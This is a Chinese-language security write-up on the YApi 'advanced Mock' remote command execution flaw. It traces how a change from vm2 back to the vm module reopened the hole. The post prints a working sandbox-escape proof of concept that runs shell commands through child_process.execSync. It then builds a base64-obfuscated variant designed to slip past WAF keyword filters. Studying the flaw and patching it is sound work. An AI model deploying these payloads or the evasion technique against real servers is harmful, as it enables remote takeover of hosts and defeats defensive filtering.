YApi是高效 、易用 、功能强大 的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。
前言
先说一下该漏洞影响版本version<=1.8.8 && version = 1.9.2,漏洞研究需要严谨,不花时间了解来龙去脉直接告诉大家小于1.9.2版本就受漏洞影响的都是耍流氓,本文分为背景介绍、漏洞复现、waf bypass分析三部分,如有笔误还请指正
背景介绍
小知识:vm2模块提供了内置的白名单模块,不运行不受信任对代码,而vm模块则不提供任何安全措施,存在沙盒逃逸的安全风险,有兴趣可以自行查阅node.js 沙盒逃逸分析
2021年1月27日Loushangkeji向Yapi项目提交了一个issue,名为高级Mock可以获取到系统操作权限#2099,他指出在1.9.2版本中,高级Mock功能可以被用于获取服务器权限
我们追溯一下漏洞代码所在文件yapi/server/utils/commons.js的变更历史,可以发现一个很神奇的事情,在2020年3月11日,gaoxiaomumu提交了一个代码变更,本次改动将原高级Mock功能实现调用的vm模块修改为vm2模块,该模块提供了内置的白名单模块,不运行不受信任对代码,具有较高的安全性,实际上,在2020年3月11日至2020年5月29日之间的从YApi项目下载安装的YApi是不受高级Mock远程命令执行漏洞影响的。
gaoxiaomumu提交的代码变更如下
通过查看YApi项目的releases,以及之前的分析(在2020年3月11日至2020年5月29日之间的从YApi项目下载安装的YApi是不受高级Mock远程命令执行漏洞影响的),我们可以得知,本次漏洞影响的范围:version<=1.8.8 && version = 1.9.2 ,接下来我会带大家追溯一下为什么1.9.2版本又回滚了该漏洞
在YApi 1.9.2版本中,官方更新公告提出修复了高级 mock 无效的bug,该bug的修复代码由hellosean1025于2020年5月29日进行提交,本次改动将原高级Mock功能实现调用的vm2模块修改为vm模块,为攻击者在YApi的高级mock功能中执行不受信任的恶意代码提供了可能,so,坑点在这呢。
好兄弟在1.8.9版本刚修复的漏洞,就被好老哥宣称为了业务给再次搞出来了,话说就不能好好学习vm2模块么,说句题外话1.9.3再次将原高级Mock功能实现调用的vm模块修改为vm2模块,issue中再次出现了说啊我的高级Mock运行不了了,官方快给老子修复!难不成又要回滚?拭目以待
代码变更追溯
漏洞复现
环境搭建
环境准备
1、一台服务器,这里推荐阿里新用户活动99一年的2核2G5M带宽60G硬盘1000G月流量的轻量级服务器
2、docker环境
3、docker-compose命令
一键搭建
待补充,容我偷个懒,网上教程还是挺多的~~~~
复现过程
1、注册账户
任意注册一个账户,如果不注册可直接使用管理员账户登录
2、添加项目
任意添加一个项目,项目名称自定义
3、添加接口
任意添加一个接口,接口名自定义,GET请求即可
新建接口后会进入如下界面
4、开启mock功能
点击高级Mock-脚本,打开开启开关
在Mock脚本编辑栏输入网传脚本
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
点击保存脚本
5、执行命令
在接口信息预览中我们可以看到Mock地址,点击Mock地址即可访问接口获取Mock代码执行结果
如下图成功获取到mock脚本执行结果,当前用户为root
至此,漏洞复现完毕
waf bypass分析
漏洞分析
小知识:再谈javascriptjs原型与原型链及继承相关问题、浅析 Node.js 的 vm 模块以及运行不信任代码
- constructor:原型对象中的属性,指向该原型对象的构造函数
- Context:V8中一个非常重要的类。Context中包了JavaScript内建函数、对象等。通过Context::New出来的Context都是一个全新的干净的JavaScript执行环境,且其他JavaScript环境的更改不影响New出来的Context的JavaScript执行环境,例如:修改JavaScript global函数。
以1.9.2版本代码为例,我们先看一下1.9.2版本中高级Mock功能的实现:sandbox对象初始化 -> 调用yapi.commons.sandbox函数 -> 将函数执行结果赋给sandbox -> 将sandbox的各个属性赋给上下文对象context
,在整个Mock功能实现过程中,初始化的sandbox对象以及用户侧设置的高级Mock代码作为传参传入了yapi.commons.sandbox函数,对其进行追溯
// 处理mockJs脚本
exports.handleMockScript = function(script, context) {
let sandbox = {
header: context.ctx.header,
query: context.ctx.query,
body: context.ctx.request.body,
mockJson: context.mockJson,
params: Object.assign({}, context.ctx.query, context.ctx.request.body),
resHeader: context.resHeader,
httpCode: context.httpCode,
delay: context.httpCode,
Random: Mock.Random
};
sandbox.cookie = {};
context.ctx.header.cookie &&
context.ctx.header.cookie.split(';').forEach(function(Cookie) {
var parts = Cookie.split('=');
sandbox.cookie[parts[0].trim()] = (parts[1] || '').trim();
});
sandbox = yapi.commons.sandbox(sandbox, script);
sandbox.delay = isNaN(sandbox.delay) ? 0 : +sandbox.delay;
context.mockJson = sandbox.mockJson;
context.resHeader = sandbox.resHeader;
context.httpCode = sandbox.httpCode;
context.delay = sandbox.delay;
};
1.9.2版本中yapi.commons.sandbox函数实现如下,沙盒实现调用的模块是vm模块,关键代码vm.createContext
中传入的sandbox
参数是从外层传入的对象,我们可以通过它的constructor
属性获取到外层的Object 类
,利用原型对象的constructor
属性,我们最终可以获取到一个外层的Function 类
,进而利用Function 类
构造一个函数就能得到外层的全局变量,如process、this等
/**
* 沙盒执行 js 代码
* @sandbox Object context
* @script String script
* @return sandbox
*
* @example let a = sandbox({a: 1}, 'a=2')
* a = {a: 2}
*/
exports.sandbox = (sandbox, script) => {
const vm = require('vm');
sandbox = sandbox || {};
script = new vm.Script(script);
const context = new vm.createContext(sandbox);
script.runInContext(context, {
timeout: 3000
});
return sandbox;
};
我们看一下网上流传的poc,通过前面的概念,我们可以很好的对其进行分析:
const ObjectConstructor = this.constructor //this指向sandbox,sandbox 的 constructor属性 是外层的Object类
const FunctionConstructor = ObjectConstructor.constructor //外层Object类的 constructor属性 是外层的Function类
const myfun = FunctionConstructor('return process') //构造一个"return process"的外层函数
const process = myfun() //调用该函数从而得到全局变量process
//利用process的子函数实现命令执行,将执行结果转为字符串传给mockJson变量进而传递给外层context,从而实现命令执行回显
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
对网传代码有了了解,我们继续看看在nodejs中的原型链,首先是this
然后是string对象
在nodejs中我们可以看到string对象也是可以得到Function类
的,但是实际应用到poc中会成功吗?
答案是不OK的,出现如下报错:process is not defined
为什么呢?通过之前的知识,我们可以知道vm模块实现了一个单独的代码运行环境(暂时称为沙盒环境),而在该沙盒环境中定义的string对象是属于沙盒环境的,不属于外层环境,process变量在外层环境存在,在沙盒环境下却是不存在的,所以我们无法通过沙盒环境中的对象获取到process变量
基于waf检测规则的绕过思路
最近逛了逛各厂更新的漏洞规则,发现多是对关键字进行拦截,我们知道网传poc中是会带有敏感字段的,比如:exec
、require
、process
等等,黑名单过滤大家都懂的
那么绕过思路就很简单了,参考传统加密壳的实现思路:shellcode编码 -> shellcode解码器 -> shellcode加载器 -> shellcode执行,在这里shellcode编码我们可以自实现编码,也可以用最简单的base64编码,我们以base64编码为例实现整个waf绕过过程
shellcode编码
swh1te@: ~$ echo 'const r = process.mainModule.require("child_process").execSync("hahhahahahaha");return r;'|base64
Y29uc3QgciA9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMoImhhaGhhaGFoYWhhaGEiKTtyZXR1cm4gcjsK
获取function构造器
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
shellcode解码
const base64Str = "Y29uc3QgciA9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMoImhhaGhhaGFoYWhhaGEiKTtyZXR1cm4gcjsK"
const bufferer = FunctionConstructor("haha = new Buffer('" + base64Str + "', 'base64');return haha");
const haha = new bufferer();
const c = haha.toString()
shellcode加载
const daima = c.replace("hahhahahahaha","whoami")//这里写命令
const daima_jiazai = FunctionConstructor(daima);
shellcode执行
const jieguo = daima_jiazai()
执行结果回显
mockJson = jieguo.toString();
最终poc
poc中不会带有任何敏感关键字,如果担心执行的命令敏感,稍微魔改一下代码,将执行的命令也给丢到编码数据里就行了
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const base64Str = "Y29uc3QgciA9IHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMoImhhaGhhaGFoYWhhaGEiKTtyZXR1cm4gcjsK"
const bufferer = FunctionConstructor("haha = new Buffer('" + base64Str + "', 'base64');return haha");
const haha = new bufferer();
const c = haha.toString()
const daima = c.replace("hahhahahahaha","whoami")//这里写命令
const daima_jiazai = FunctionConstructor(daima);
const jieguo = daima_jiazai()
mockJson = jieguo.toString();
执行效果
考虑到放哪家waf拦截效果也不合适,就自行脑补吧